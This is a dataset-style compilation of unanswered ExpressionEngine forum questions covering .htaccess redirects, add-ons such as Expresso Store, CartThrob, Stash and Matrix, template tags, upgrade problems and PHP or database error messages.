texts:
First time this has happend to me and I can't figure out how to fix my 301 redirects. The redirect is appending the rule to the end of destination/new url:

Redirect 301 /products.htm http//www.domain.com/products/

Redirects to:

http://www.domain.com/products/?/products.htm

The site is on a MediaTemple (dv) 4.0. My .htaccess file is:

## BEGIN Expression Engine Rewrite

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]
RewriteRule ^(.*)$ /index.php?/$1 [L]

# END Expression Engine Rewrite

# Redirect to www
RewriteCond %{HTTP_HOST} ^domain.com [NC]
RewriteRule ^(.*)$ http://www.domain.com/$1 [L,R=301]

#
# Old site URL 301 Redirects
#

Redirect 301 /products.htm http://www.domain.com/products/
# plus many more...

UPDATE:

Just wanted to add what I've tried with no success:

`$config['uri_protocol']    = 'AUTO'; // tried all 5 options. nothing seemed to change`

I tried appending ? to the end of the redirect, which removed the appending rule, but kept the ?:

Redirect 301 /products.htm http://www.domain.com/products/?

I have successfully setup redirects before in EE1, and referenced a site & noticed the rewrite rule for removing the index.php file didn't have the ? at the end. Is this something specific to EE2 or the server envirnoment as when I remove that I get the no input file specified error:

# EE1
RewriteRule ^(.*)$ /index.php/$1 [L]


texts: Adding Dimensions to Products with Expresso Store

texts:
Hello where would you think the best place to add Length x Width x Height to the products?
I would think that this would then update the shipping details with costs. Rules don't seem to facilitate this.
Recommendation for dynamic Store product data updates


texts: Upgrade issues when upgrading to 3x when old plugins not available

texts:
0
down vote
favorite
I'm trying to upgrade from 2.11 to the latest 3.x.

in my user >addons I only installed 3x compatible adds on; however, I keep getting error msgs for the adds that are not there any more than were 2.x compatible I get an error like:

  error Unable to load the following extension file...
  If I try to load the old ones back in I eventually get a 500 error

...any ideas?


texts: I'm getting an error when I try to login to the back end of an expressionengine 1 site. Does anyone know how to fix it?

texts:
Notice: Trying to get property of non-object in /home2/sitename/public_html/system/EE/core/core.session.php on line 1049
Warning: Cannot modify header information - headers already sent by (output started at /home2/sitename/public_html/system/EE/core/core.session.php:1049) in /home2/sitename/public_html/system/EE/core/core.functions.php on line 752
Warning: Cannot modify header information - headers already sent by (output started at /home2/sitename/public_html/system/EE/core/core.session.php:1049) in /home2/sitename/public_html/system/EE/core/core.functions.php on line 325

The line being referenced in the error is:

if ($query->row['count'] >= 4)


texts: EE3 Channel Forms: Save as Draft & Publish Buttons

texts:
I would like to give users the option to "Save as Draft" or "Publish" at the end of a Channel Forms entry.

Is there a way to attach a status to a button? Has anyone done something like this?


texts: Tell WYGWAM not to wrap certain text in a  tag

texts:
I've built in a shortcode-like method using mx_jumper that works well, for the most part. I have Matrix field called blog_images where the user can upload up to 10 images for a post. Then they include the images in the post's WYGWAM field wherever they want by placing a shortcode referencing the image's ID in the Matrix field, like so:

{image_2}

In the template for a blog post I cycle through all images in that Matrix field like this:

{blog_images}
    {exp:mx_jumper:put name="image_{row_count}"}

            {image_standard}

                {exp:stash:set name="image_width" parse_tags="yes"}{width}{/exp:stash:set}
            {/image_standard}
            {if caption}

                    {caption}

            {/if}

    {/exp:mx_jumper:put}
{/blog_images}

Then I do the replacing in the content like so:

{exp:mx_jumper:out_global}
    {blog_post_content}
{/exp:mx_jumper:out_global}

This works really well with one exception:

For formatting purposes I need to have the shortcode on it's own line in WYGWAM. Problem is WYGWAM wants to wrap it in a
 tag, like this:

…

… which is improper markup. The browsers try to be helpful and "correct" it by making it this:

…

… leaving space before and after the
 tags. Yuck!

Can I tell WYGWAM not to wrap text that starts and ends with {} in a paragraph tag? If not, other suggestions??


texts: EE3 How to show random template variables

texts: I created some template variables which is https://docs.expressionengine.com/latest/templates/globals/template_variable.html, how can I show one of them randomly?


texts:
We need to store a query parameter (gclid) in a cookie - if it exists. Using Cookie Plus on an EE 2.8 installation.

ie: domain.com/page?gclid=12345

How can I detect that the query exists and then how do I grab the data in the query?
I believe this would work if it was segments:
{if segment_2=="gclid"}
{exp:cookie_plus:set name="cookie" value="{segment_3}" seconds="86400"}
{/if}


texts: Cannot upload a photos (channel images) when using Channel Form

texts:
I am using channel form to create a new entry in my gallery and use {field:gallery_images} to display the channel images field.

On the form when I try and click on the upload images button nothing happens.

{exp:clubmanager:club}
                     {exp:channel:form channel="gallery" return="clubhouse/gallery" class="sky-form" }
                        <input type="hidden" name="gallery_club" value="{club_name}">
                        <input type="hidden" name="gallery_club_url" value="{club_url_title}">
                    <fieldset>

                            Title
                            <input type="text" name="title" id="title" value="{title}" size="50" maxlength="100" onkeyup="liveUrlTitle();">
                            <input type="hidden" name="url_title" id="url_title" value="{url_title}" maxlength="75" size="50">

                         </fieldset>

                           <fieldset>

                            Images
                                {field:gallery_images}

                            </fieldset>

                                <button type="submit" class="btn-u">Submit</button>

                        {/exp:channel:form}

             {/exp:clubmanager:club}


texts: Custom Date Format with Channel Form + Matrix + Date Fieldtype

texts:
We have a channel form setup and it's all working fine.

In the form is a matrix field called "job_timings" and we call on it via {field:job_timings}

The matrix has two columns - one a text field and the other a date field. The datepicker works fine in the channel form it's just that is displays dates in the format of 2014-01-23 4:59 PM to the end user.

In our case we don't need a time and we need the date formatted as dd-mm-yyyy.

Is there any way to control the format of this matrix date field?


texts: When installing an SSL certificate the control panel css breaks

texts:
I've installed an SSL certificate on a domain and that has the lovely green padlock. However when I log into the control panel, all of the CSS is broken.
Any ideas on what I should be doing?
CHeers


texts: Expresso Store: Extension to exclude modifier amounts when calculating tax

texts:
I'm developing an extension for Expresso Store that updates the tax calculation for items to exclude any amounts in the modifiers as for this application they are tax free. For example, if the price is say $10 for a physical credit card and then through a modifier they add $20 of credit to the card. I need to total to still be $30, however the tax to be calculated just on the base $10. e.g. tax @10% would result in $31 including tax.

So far in the extension I am using the Store hooks "store_order_recalculate_end" & "store_order_item_add_end" and I can loop through removing the modifier prices to get the base price of the item, however I am unsure how to then :

calculate the tax with the new item
update the item price in the db
recalculate the totals for the order

My current method is below.

public function modify_gst($order){
    foreach ($order->items as $item) {
        $pricefortax = $item-> item_subtotal;
        //Modifier amounts are not subject to tax
        foreach ($item->modifiers as $modifier) {
            $pricefortax = $item->item_subtotal - $modifier["price_mod"];
        }
       // $pricefortax is now the amount excluding any modifiers
       // NEED TO: calculate item_tax based of $pricefortax
       // NEED TO: Update item_tax and item_total for the item
    }

    //NEED TO: calculate order_tax and order_total
    //NEED TO: update order_tax and order_total
}

Any help would be greatly appreciated, I can't see in the Store docs how to achieve this, It's basically my first time working with an extension in EE or dealing int the internals of Store.


texts:
I want to filter entries by the tags they contain.

This works nice, when only one tag is queried, but I need to be able to add several tags to the URL by clicking on them in the front-end and have the list of entries drill down accordingly.

Ideally I'd also be able to remove already present tags from the URL by clicking the same link again. Think of toggling a tag on and off from a query, like this:

http://www.ralphmedia.co.uk/reefine/demo_basic

I guess this has to be achieved using JavaScript/AJAX, but I have no idea where to start building something like this.

So, can anyone please steer me in the right direction?


texts: Get category_group and category_id outside the channel tag and use it to display category description text

texts:
I have to add a text, that describes the current category but I have to put it outside the channel tag with a single entry and if the category_id is for example number 5, I have to get a text that describes that specific category.

Can anyone help me with an idea how to do that?


texts: Channel Entry with Matrix clone or duplicate

texts: Does anybody have an idea of a plugin that can clone/duplicate channel entries that use the Matrix plugin? I have found MX Cloner (http://devot-ee.com/add-ons/mx-cloner) however this is not compatible with Matrix.


texts: Category tag pair show group parameter not working

texts:
I've got a safecracker form which edits a channel entry. I want to display the categories that have been selected for the entry through check boxes, I've used this code:

{categories show_group="13"}
   <input type="checkbox" name="category[]" id="{category_name}" value="{category_id}"{checked}> {category_name}<br>
{/categories}

Which works fine, the checkboxes that have been previously selected are showing up as selected, but it's ignoring the 'show_group="13"' parameter. It's showing all a categories for that channel but I just want it to show the category group 13.

I'm not sure where I'm going wrong? From the documentation it looks like I've got the right parameter, and 13 is definitely to category group id.

Is there any other way of displaying the categories selected for a certain category id for an entry?

Thanks,
Julie


texts:
Can some tell me if I'm wrong,  but it doesn't look like I can create a variable to store a query result into it where I leveraged EE's native {exp:query} functionality?

I want to use PHP native json_encode functionality to output the contents of a complex query(some of the data I'm querying cannot be displayed using the Channel entries tag) to JSON. So either I have to create a pure PHP file outside of EE or "allow php" in my EE template.


texts: GW Code Categories || Nested || 2 Category Groups

texts:
I'm having a bit of trouble getting my head around this issue and I'm probably over thinking it as well as just have spent too much time "in" it :) So i'm hoping someone can straighten this out for me.

I have a Business channel with 2 Category Groups: State/City (category id = 9) and Businesses (category id = 11).

State/City should be self-explanatory as those have a State for the Parent and City for Children.

Businesses has this setup (some Categories have children some don't):

So some entries are in Colorado and Denver BUT also in Bars > Dive

I need to start on the State level, then to the City, then to the Category then a Sub-category if there is one. IF not then I just want to show the listings in those categories.

I've been working on this for a while and haven't had any luck with it. I always seem to get "close" then at the end I don't have the listings showing by City/State AND the Business type that it is.

Without writing a ton of {if segment_5 !='' AND segment_6 ==''} etc... I'm not sure how to drill down to the listings.

So I'm hoping there are people out there that can help me "un-complicate" this as this SHOULD work but I'm probably missing something.

Thanks for the help comrades!


texts: Member registration form without third party plugins/add-ons

texts: I am a newbie to expressionengine. I have EE 2.5.5 purchased version. What i want to know is can i create a member registration form and explicitly ask users to register?


texts: Cartthrob Multi Location Settings Manager gives white screen of death

texts:
I upgraded CartThrob Pro to 2.4 and EE to 2.7.3 now I get a white screen of death when I try to access the Multi Location Settings Manager module page in the control panel. I uninstalled it and reinstalled it.

I am using the Multi Location Settings Manager to change shipping options for domestic vs. international orders.

I'm not using the HealthCheck accessory.

Anyone else have this problem? Any suggestions for debugging it?


texts:
I’ve just upgraded to Store 2.4 and now having an issue with the Worldpay payment gateway. I haven’t changed anything, yet I’m now getting the following error message on redirect to WorldPay:

  The transaction cannot be processed. Please send the following information to the merchant:
  No cart ID supplied with the payment request.

Any help would be massively appreciated.

Thanks,
Dan


texts:
When I create a new profile in Solspace Importer and I'm asked to upload a file, I get a white page when clicking the continue button.

This is the case for XML, JSON, CSV files.

I have error logging set to 1, but I'm not getting any errors related to Importer.
I have the memory limit set to 128M but have tried more.
I can see that Importer is writing to the cache dir.
I'm running EE 2.8.1, Importer 2.2.5, PHP 5.5.10 on MAMP.


texts: How can we Spanning a Channel Entry Across Multiple Pages using pagination.?

texts:
ExpressionEngine includes a feature that allows  to automatically split a single channel entry/article across multiple pages. how can i do this?

UPDATE

hi  this is my code  : here am using one field for pull out the entire news that is
{news text} ;i hav only one field .. for entire news... is this correct or required another  fields..summery  ,body ,extended  etc

{exp:channel:entries category_group="32" orderby="date" sort="desc" limit="1" paginate_type="field" paginate="bottom" }

{title}

 {news_writer}

{news_image_1_caption}

{news_text}

    {multi_field="page1|page2| page3"}

    Last updated on {edit_date format='%M %d, %Y'} at
    {edit_date format='%h:%i %A'}

    {paginate}

Page {current_page} of {total_pages} pages for this article
    {pagination_links}

    {/paginate}

    {comments}

{/exp:channel:entries}

This is one of my detailed news page .. a long articles.. I want to split this content into different pages..

"pagination_base" this tag is required or not ?


texts: Next and previous entry with category url title

texts:
My single entry page URL structure is as follows:

sitename.com/channel_name/category_url_title/entry_url_title

I want to have previous and next links on each single entry that are NOT limited to the category that is currently in the URL...I just need it to work by date alone, but I do need to retain this url structure...so basically when someone opens this link:

sitename.com/channel_name/category_1_url_title/entry_123_url_title

and clicks the next button it should take him to:

sitename.com/channel_name/category_22_url_title/entry_124_url_title

only sorting by entry date and ignoring the category as a filter

is this possible with some good queries or do I need an addon for it?


texts: Not showing the "Body" content area when creating a new entry

texts:
I have just installed EE V3 and have created a channel called "homepage". I have gone to create a new entry fro this channel and it comes up with the "Title" and "URL Title" but not the text editor for the body content? See screenshot below:

I am not sure if i need to enable anything or install a add-on for this?

Look forward to hearing your thoughts.

Thanks
Jordan


texts:
First, forgive me as I'm not a professional programmer. I have access to our CMS as our company's web content manager, however our marketing agency handles heavy duty programming and design.

We recently updated our ExpressionEngine to version 2.5.5. Since then, I'm not able to utilize one of the tools that I could prior to that in the editor. When publishing a new page, there is an option for me to add External Links to appear in a navigation menu. There are two fields to add the headline text and the corresponding link. Below those fields is a '+' sign to add another headline/link. However, when I click this '+' sign, nothing happens. This should add more rows to this nav menu.

I'm hoping this is a simple fix. We just transitioned to a new agency so typically I'd ask them for help, but they're still familiarizing themselves with the system and right now I'm just trying to get a head start on this particular issue.

Any help you can give me is greatly appreciated. I apologize in advance if this request isn't appropriate for this forum!

EDIT: here is a screenshot: http://i.stack.imgur.com/zsVgP.png


texts: Address is not stored when registering member account on checkout

texts:
I have a problem with my checkout process.

I've read the docs and looked at 2 or 3 similar posts, but none of them had the same problems as I do.

I use Zoo Visitor, I have set up the fields in store's settings, the user account is created, the emails get sent with the right data, the order is correctly tied to the user account. it's just the membership fields that are not saved!

I can register without a problem via the {exp:zoo_visitor:registration_form}

when logged in, everything is working as expected.

in my checkout I have the following code:

    {if logged_out}

Mitglied werden?

        {field:register_member} Als Mitglied registrieren?

Sie müssen einzig ein Passwort angeben und schon sind sie Mitglied mit eigenem Login

                Passwort*:

                    <input id="password" class="control-input required" type="password" size="30" maxlength="256" value="" name="password">
                    {error:password}

                Passwort bestätigen*:

                    <input id="password_confirm" class="control-input required" type="password" size="30" maxlength="256" value="" name="password_confirm">
                    {error:password_confirm}

    {/if}

I even tried with or without the register_member parameter. and the behaviour didn't change.

this thread is very close to my problem, and although it sais that it has been fixed, it hasn't fixed my problem:
Membership Fields Failing to Map During Checkout / Account Creation in Expresso-Store

maybe it's because I have named my zoo visitor fields the same as the store member fields?

I am on EE 2.5.5
store 1.6.4
zoo-visitor 1.3.25

EDIT: I HAVE CHECKED IT ONCE AGAIN: WHAT HAPPENS IS THAT IT CREATES THE MEMBER, BUT ONLY A STANARD MEMBER – NOTHING IS SAVED TO THE ZOO MEMBERS CHANNEL!

please help - it's rather urgent!
stefan


texts: Can't achieve conditional within Playa using {count}

texts:
I'm trying to apply a class of odd or even based on the count within a playa field. My website is for a company with 13 branches & 15 products. Not all branches sell all products so I have created a Products channel & an Offices channel and used Playa to add relevant products to each office.

What I'd like to happen is for a class of odd or even to be applied to the opening div that will make the products display either two or three across, depending on the count.

What's actually happening is that no matter what my count, the first div always gets applied as odd and the rest as even. I've tried total_count but that won't even apply the right class to the first div. Am I doing something fundamentally wrong or is this just not the right approach to take?

{exp:playa:children field="office_products"}
            {if {count} == "1|3|5|7|9|11|13|15"}

            {if:else}

            {/if}

                        {exp:ce_img:pair src="{product_logo}"}

                        {/exp:ce_img:pair}

{title}

                    {exp:ce_str:ing truncate="88"}
{product_short_intro}
{/exp:ce_str:ing}
                    {exp:switchee variable="{segment_3}" parse="inward"}
                        {case value=""}
                            Get A Quote
                        {/case}
                        {case value="services"}
                        More Information
                        {/case}
                    {/exp:switchee}

Get a {title} Quote

                {exp:forms:form form_name="quote_now" display_error="inline"}
                    {forms:fields}
                            {forms:field}
                    {/forms:fields}
                {/exp:forms:form}

              &#215;

        {/exp:playa:children}


texts: Is anyone else find that {page_url}, whether using Pages or Structure, is not being parsed at all?


texts:
I'm in the process of developing 6 sites for a company for their membership associations. While I started with the idea that I would be using MSM (which I wasn't crazy about) to help manage everything, Zoo Visitor is not supported in that environment.  So I opted to go with individual sites.  The backend of all of the sites is nearly identical, short of the home page (which is managed by Low Variables) and the categories for their resources.

Anyway, we just launched site #2 and the client is already asking about a way to manage content more efficiently.  They post several events that are the same across all of the companies, or at least 2-3.  So when we are finished that means they will have to post them on six different sites (and update them six times should details change).  I had built their current site many years ago (using Classic ASP) and they could add a single event and choose which sites they want to post it to.  While the EE route is certainly an upgrade over what they had, they are taking a step backwards in some regards.

While I hadn't tested anything yet, I had considered running all of the sites from a single installation (yes, I understand the licensing issues - I would talk with Ellislab about my options and purchasing multiple licenses).  Then I could use a field that allowed me to choose which "site" the content gets published to.  This way they could manage everything from a single location, like they had hoped.  Another idea was to publish the events to a feed of some sort, then check and pull those into the other sites.  But this would mean that one of the individual sites would have to become the "host".  If they wanted to convert their parent company site to EE (which they may at some point), then this would be a reasonable option.  But in the meantime....

So my questions are:

What options do I have when MSM isn't an option?
Any suggestions for the best way to post a feed for events (including attachments)?
Anyone have a similar experience that they wouldn't mind discussing how they handled it?

Thanks for any feedback!

Todd


texts: With freeform_module_insert_end hook how to get the posted data

texts:
https://solspace.com/docs/freeform/extension_hooks/#freeform_module_insert_end

I am using the freeform_module_insert_begin hook which stores the data into the database but with the freeform_module_insert_end hook I am unable to get the data which I posted in the freeform_module_insert_begin hook.

Here is my code:

function email_this($field_input_data, $entry_id, $form_id){
if (ee()->extensions->active_hook('freeform_module_insert_end') === TRUE)
{
    ee()->extensions->universal_call(
    'freeform_module_insert_end',
    $field_input_data,
    $entry_id,
    $form_id,
    $this
    );
} else {
    //else
}
}


texts: Store Locator with Google Maps for ExpressionEngine

texts:
first use of the Google Maps add-on for EE here so pardon any ignorance on my part.

I'm trying to set up a pretty standard store locator. I'm using this Sample Store Locator Code and tweaking with my field names (see below).

{address_geocoded} is the field set to store the return from Google.

I'm getting errors along the lines of:

  ‘address_geocoded’ is not valid post variable.

Firefox and Safari generate the error right away on template load. Chrome loads the form then errors after I enter my current location and submit.

Any idears?

    {exp:gmap:search
        channel="retailers"
        latitude_field="address_lat"
        longitude_field="address_long"
        geocode_field="address_geocoded"
        distance_field="distance_max"
        cache_post="false"
        return="/locations/test2#demo"}

                Location
                <input name="location" id="location" value="{if post:location}{post:location}{/if}" type="text">
                {if error:location}
{error:location}
{/if}

                Distance
                <select name="distance_max">
                    <option value="" &#123;if="" !distance_max="" ||="" distance_max="=" ""}selected="selected" &#123;="" if}="">Any</option>
                    <option value="5" &#123;if="" distance_max="=" 5}selected="selected" &#123;="" if}="">5</option>
                    <option value="10" &#123;if="" distance_max="=" 10}selected="selected" &#123;="" if}="">10</option>
                    <option value="20" &#123;if="" distance_max="=" 20}selected="selected" &#123;="" if}="">20</option>
                    <option value="50" &#123;if="" distance_max="=" 50}selected="selected" &#123;="" if}="">50</option>
                    <option value="100" &#123;if="" distance_max="=" 100}selected="selected" &#123;="" if}="">100</option>
                </select>

                <button type="submit">Search</button>

    {/exp:gmap:search}

    {exp:gmap:init id="map" class="gmap" style="width:100%;height:200px"}

    {exp:gmap:results order_by="distance" sort="asc" parse="inward"}

        {if has_searched}

            {results}

{title} - {distance}

            {/results}

            {results}
                {exp:gmap:marker id="map" latitude="{address_lat}" longitude="{address_long}"}
            {/results}

        {if:else}
            {exp:channel:entries channel="retailers" dynamic="no" disable="member_data|categories|category_fields|pagination" parse="inward"}

                {location_gmap id="map"}

            {/exp:channel:entries}
        {/if}

        {if absolute_count == 1}

Hint: Try searching for 'Hoosier National Forest' at a distance of 20 miles.

        {/if}

        {if no_results}

No results found

            {exp:channel:entries channel="retailers" dynamic="no" disable="member_data|categories|category_fields|pagination" parse="inward"}

                {location_gmap id="map"}

            {/exp:channel:entries}

        {/if}

    {/exp:gmap:results}


texts:
I am not being able to send e-mails through EE (I am using version 2.1.3 Build 20101220).

I just want my application to relay to an external SMTP server.

I am editing both these files:
\expressionengine\libraries\EE_Email.php
\codeigniter\system\libraries\Email.php

Is there any other file to look at?

Best regards,


texts:
Managed to checkout fine before switching email notifications on. After switching to "Log and send" I now get a number of PHP errors using Cartthrob 2.5 and EE 2.7.2

Has anyone had a similar issue and managed to resolve?

A PHP Error was encountered

Severity: 8192

Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead

Filename: core/Security.php

Line Number: 483

A PHP Error was encountered

Severity: 8192

Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead

Filename: core/Security.php

Line Number: 484

A PHP Error was encountered

Severity: 8192

Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead

Filename: core/Security.php

Line Number: 483

A PHP Error was encountered

Severity: 8192

Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead

Filename: core/Security.php

Line Number: 484

A PHP Error was encountered

Severity: 8192

Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead

Filename: core/Security.php

Line Number: 483

A PHP Error was encountered

Severity: 8192

Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead

Filename: core/Security.php

Line Number: 484

A PHP Error was encountered

Severity: 8192

Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead

Filename: core/Security.php

Line Number: 483

A PHP Error was encountered

Severity: 8192

Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead

Filename: core/Security.php

Line Number: 484

A PHP Error was encountered

Severity: Warning

Message: Cannot modify header information - headers already sent by (output started at /Applications/MAMP/htdocs/damelin/system/codeigniter/system/core/Exceptions.php:170)

Filename: libraries/Functions.php

Line Number: 809

A PHP Error was encountered

Severity: Warning

Message: Cannot modify header information - headers already sent by (output started at /Applications/MAMP/htdocs/damelin/system/codeigniter/system/core/Exceptions.php:170)

Filename: libraries/Functions.php

Line Number: 809

A PHP Error was encountered

Severity: Warning

Message: Cannot modify header information - headers already sent by (output started at /Applications/MAMP/htdocs/damelin/system/codeigniter/system/core/Exceptions.php:170)

Filename: libraries/Functions.php

Line Number: 809

A PHP Error was encountered

Severity: Warning

Message: Cannot modify header information - headers already sent by (output started at /Applications/MAMP/htdocs/damelin/system/codeigniter/system/core/Exceptions.php:170)

Filename: libraries/Functions.php

Line Number: 414


texts:
Based on the documentation for stash list, there are 2 ways to specify lists.

One is to use {exp:stash:append_list} or  {exp:stash:prepend_list}.

The other is to use {exp:stash:set_list}.

I am using #1 because I need to list the items in reverse order.

{exp:low_replace find="\r|\n|\t" replace="" regex="yes"}
    {exp:messages:foo
        limit="10"
        paginate="bottom"
        sort="desc"
    }
        {exp:stash:prepend name="test"}
            {stash:message}
{message}
{/stash:message}
        {/exp:stash:prepend}
    {/exp:messages:foo}

    {exp:stash:get_list name="test"}
        {message}
    {/exp:stash:get_list}
{/exp:low_replace}

The above doesn't work. Is it because I am using wrong tag to retrieve the list? Is prepend working at all?

UPDATE:

Apparently, I need to use {exp:stash:prepend_list} so I amended the code and tested it.

{exp:low_replace find="\r|\n|\t" replace="" regex="yes"}
    {exp:messages:foo
        limit="10"
        paginate="bottom"
        sort="desc"
    }
        {exp:stash:prepend_list name="test"}
            {stash:message}
{message}
{/stash:message}
        {/exp:stash:prepend_list}
    {/exp:messages:foo}

    {exp:stash:get_list name="test"}
        {message}
    {/exp:stash:get_list}
{/exp:low_replace}

Still, I get no results.


texts:
I'm looking for advice on how to redirect a user to one of our country sites, based on their IP and wondered if anyone has done this with ExpressionEngine?

Additionally, I need to provide users with a way to circumvent this - similar to what happens with Google where you can click a link that can take you to the .com site if you don't wish to view the .co.uk site.

I have IP to Nation installed and updated, but unsure if this would be needed.

Thanks.


texts: How to display article alphabetically in expression engine?

texts:
we want to sort article entries by alphabetically in expressionengine so please guide me how to display entries by alphabetically.
Thank you.


texts:
I am using matrix to pull instagram photos using the pic puller plugin. Sometimes, the picture is not available. I am able to skip these by using an if conditional in the pic puller loop. however an empty matrix row is still parsed and shown on the final template. I am not sure how to just show the rows with instagram content.

{exp:channel:entries channel="mychannel" status="open" }
    {matrix_field}

        {exp:ig_picpuller:media user_id="1" media_id="{media_id}" use_stale_cache="yes"}
        {if ig_status == "true"}
            {ig_standard_resolution}
        {/if}
        {/exp:ig_picpuller:media}

    {/matrix_field}
{/exp:channel:entries}

I considered using the ig_status tag as a search parameter in matrix, but didn't work.

{exp:channel:entries channel="mychannel" status="open" }
    {exp:ig_picpuller:media user_id="1" media_id="{media_id}" use_stale_cache="yes"}

        {matrix_field search:{ig_status}="true"}
                {ig_standard_resolution}
        {/matrix_field}

    {/exp:ig_picpuller:media}

{/exp:channel:entries}

Any ideas how i can skip the rows without any pictures from being parsed?


texts:
Is there a reason {base_url} is not being parsed at all in any of my templates?

First I thought it was only my css but it also seems not to be working with any other template either like image roots?


texts:
I've looked around in the documentation and on the forums for help with this, but to no avail. I'm having trouble figuring out how to install the new public beta for ee. The current install information for v2x does not seem to coincide with the new file structure for 3.0.0.

I have uploaded ee to my server but cannot figure out which files I should change permissions for?

I appreciate the help!


texts:
Has anyone migrated from CartThrob to Expresso Store ?
I have a site using cart throb and we need sales (specials) functionality. This is not handled very will is CartThrob, but Expresso does it nicely.
So, we are looking to swap carts.
I was wondering if anyone had done this, and what their experiences (traps, problems, etc) were.


texts: Channel Videos not saving new videos (EE2 site upgraded to EE4)

texts:
Background:

EE2 site with channel videos among other plugins. Following a successful upgrade to EE4.3.1 the site is functioning correctly, and old videos are working.

The issues begin when trying to add new videos, they can be found successfully, or added directly from a url, but upon saving, they disappear. The video also doesn't seem to find a date, it just returns invalid date.

This issue is similar to this question: Channel Videos - Removing Video When Saving

The plugin code that we have now is downloaded from the Dev Demon site, before the migration to EE Harbor.

I've tested with the EE Harbor code also, but it presents more issues matching this question: Channel Videos Error

Testing & Debugging:

Following some of the similar threads, I've double checked and the cache folder is accessible. I've dumped the $data payloads that are passed into the save() and post_save() functions in the ft.channel_videos.php file. The issue seems to lie here. Data is blank within post_save() as it's attempting to retrieve the data from the ee cache. I don't believe it's successfully writing to the ee cache folder even though it's writable and other plugins aren't having similar issues.

Also to Note:

When installing the plugin on a site with PHP 7+ . (Required by EE4), there are numerous PHP issues, to do with direct assignment of the instance, requiring a change from:

// Creat EE Instance
$this->EE =& get_instance();

to:

// Creat EE Instance
$this->EE = get_instance();

Request:

What could be happening when saving? Support will currently be slow while EE Harbor acquire Dev Demon, and I have a ticket in but urgently need to fix a live site. I will add new info as I come across it while debugging.


texts:
I have a channel form with and i need ti to have a different return url based on how they answer one of the questions in the form.

If they select yes it should redirect to URLA
if they select no it should redirect to URLB

I tried swaping out the hidden "return_url" input but that doesnt seem to do it, any suggestions?


texts: Trouble installing EE 3.5.3, ee/legacy/database/drivers/mysqli/mysqli_connection.php:122

texts:
Just installed latest EE 3.5.3. Running on php 5.6. I've performed the ee_server_wizard test which passed everything.

Did 2 fresh installs and when I try login at admin.php I'm getting.

  ee/legacy/database/drivers/mysqli/mysqli_connection.php:122

Any ideas on how to fix? Thanks, Ted

SQLSTATE[42S02]: Base table or view not found: 1146 Table 'my-database.exp_comments' doesn't exist:
SELECT COUNT(*) AS `numrows` FROM (`exp_comments` as Comment_comments) LEFT JOIN `exp_channel_titles` AS Entry_channel_titles ON `Entry_channel_titles`.`entry_id` = `Comment_comments`.`entry_id` LEFT JOIN `exp_channel_data` as Entry_channel_data ON `Entry_channel_data`.`entry_id` = `Entry_channel_titles`.`entry_id` WHERE ( `Comment_comments`.`site_id` = '1' AND `Entry_channel_titles`.`status` = 'closed' ) LIMIT 18446744073709551615

ee/legacy/database/drivers/mysqli/mysqli_connection.php:122

and a stack trace that includes 13 items.


texts:
I am upgrading from EE2 to EE3. I have the latest version (2.11.9) and have followed the steps to download EE3, copy the config.php and database.php files, disable and remove plugins, and then copy /system, /themes/, admin.php, and index.php over.

However, after that, when I visit /admin.php to run the installer, I can't get it to run. It just shows me an error:

  SQLSTATE[42S02]: Base table or view not found: 1146 Table
  'xyz.exp_plugins' doesn't exist: SELECT plugin_package FROM
  (exp_plugins)
  ee/legacy/database/drivers/mysqli/mysqli_connection.php:122

Can anyone tell me how to get the installer to run? I also tried visiting /system and /system/ee/installer in the browser.

I got the upgrade instructions here:

https://docs.expressionengine.com/v3/installation/upgrade_from_2.x.html

I got EE3 from here (master-v3 branch):

https://github.com/ExpressionEngine/ExpressionEngine/tree/master-v3


texts:
We use EE4 and Store 4.1. For the time being costumer get the goods with an invoice. We use payment gateway "Manual".

I have two questions:

"Manual" stores an order in the backend as paid (Paid? Yes). But we would need it stored "no" (unpaid). Anything we can do?

How difficult is it to make a payment gateway named "Invoice" (or in German "Rechnung")? Maybe out of the files of "Manual"?

Thanks for some advices.


texts: Mini Calendar day heading not starting on Sunday as first day of week

texts:
Here is the code:

  {display_each_day_of_week}
    {day_of_week_one}

  {/display_each_day_of_week}

What happens is for example June 1 2014 is on on Sunday but my calendar has it on Saturday.

The header format displays as S S M T W T F. If I click my next button to go to the month of July the header changes to F S S M T W T. If I go to August the header displays as S S S M T W T as you can see Friday turns into an S.


texts:
I am trying to build a listing page of entries broken down by parent category.

I originally used the category archive tag but there isn't option to limit the entries per category.

I've also tried using Stash and this method marked as the answer Listing entries, ordering by Category

It works by showing all entries under each parent category, but once I throw the limit parameter in the channel entries tag it doesnt work, just shows the categories.  Also tried using MX Jumper, same result.

I found this method from Low http://gotolow.com/blog/nesting-tags-and-performance-in-ee
It works the same, but again once limit parameter is in channel tag it breaks.

However I have found that placing the category_group parameter in the channel tag that it  works, sorta.  It will show entries, but whatever the limit is instead of limit per category.

Below is my code for Stash:

{exp:channel:entries channel="publications" disable="pagination|member_data|category_fields" dynamic="no" limit="5"}
  {exp:stash:append name="publications_{categories limit='1'}{category_id}{/categories}" parse="inward"}

{title}

  {/exp:stash:append}
{/exp:channel:entries}

{exp:channel:categories channel="publications" style="linear" disable="category_fields" show_empty="no" parent_only="yes"}

{category_name}

  {exp:stash:get name="publications_{category_id}"}
{/exp:channel:categories}

Any thoughts on how to build out a entry list organized by category where you can set a limit of entries to show per category?

I do have Auto-Assign to Category Parents marked yes.
I've disabled extensions one at a time to see if one was causing any issues, found nothing.

UPDATE
I do realize that putting limit on channel tag would limit it to 5 entries no matter their categories.  Looking to limit it to 5 entries per category.

Much thanks in advance!


texts:
I’m working on a new site, using a fresh install of 2.7.2. Everything’s been going swimmingly (sort of), until now I went to edit some custom fields. When I click on a field name to do an edit, I get the following:

  A Database Error Occurred Error Number: 1146 Table
  'my_database_name.exp_grid_columns' doesn't exist

  SELECT * FROM (exp_grid_columns) WHERE field_id IN (11) AND
  content_type = 'channel' ORDER BY col_order Filename:
  models/grid_model.php

  Line Number: 631

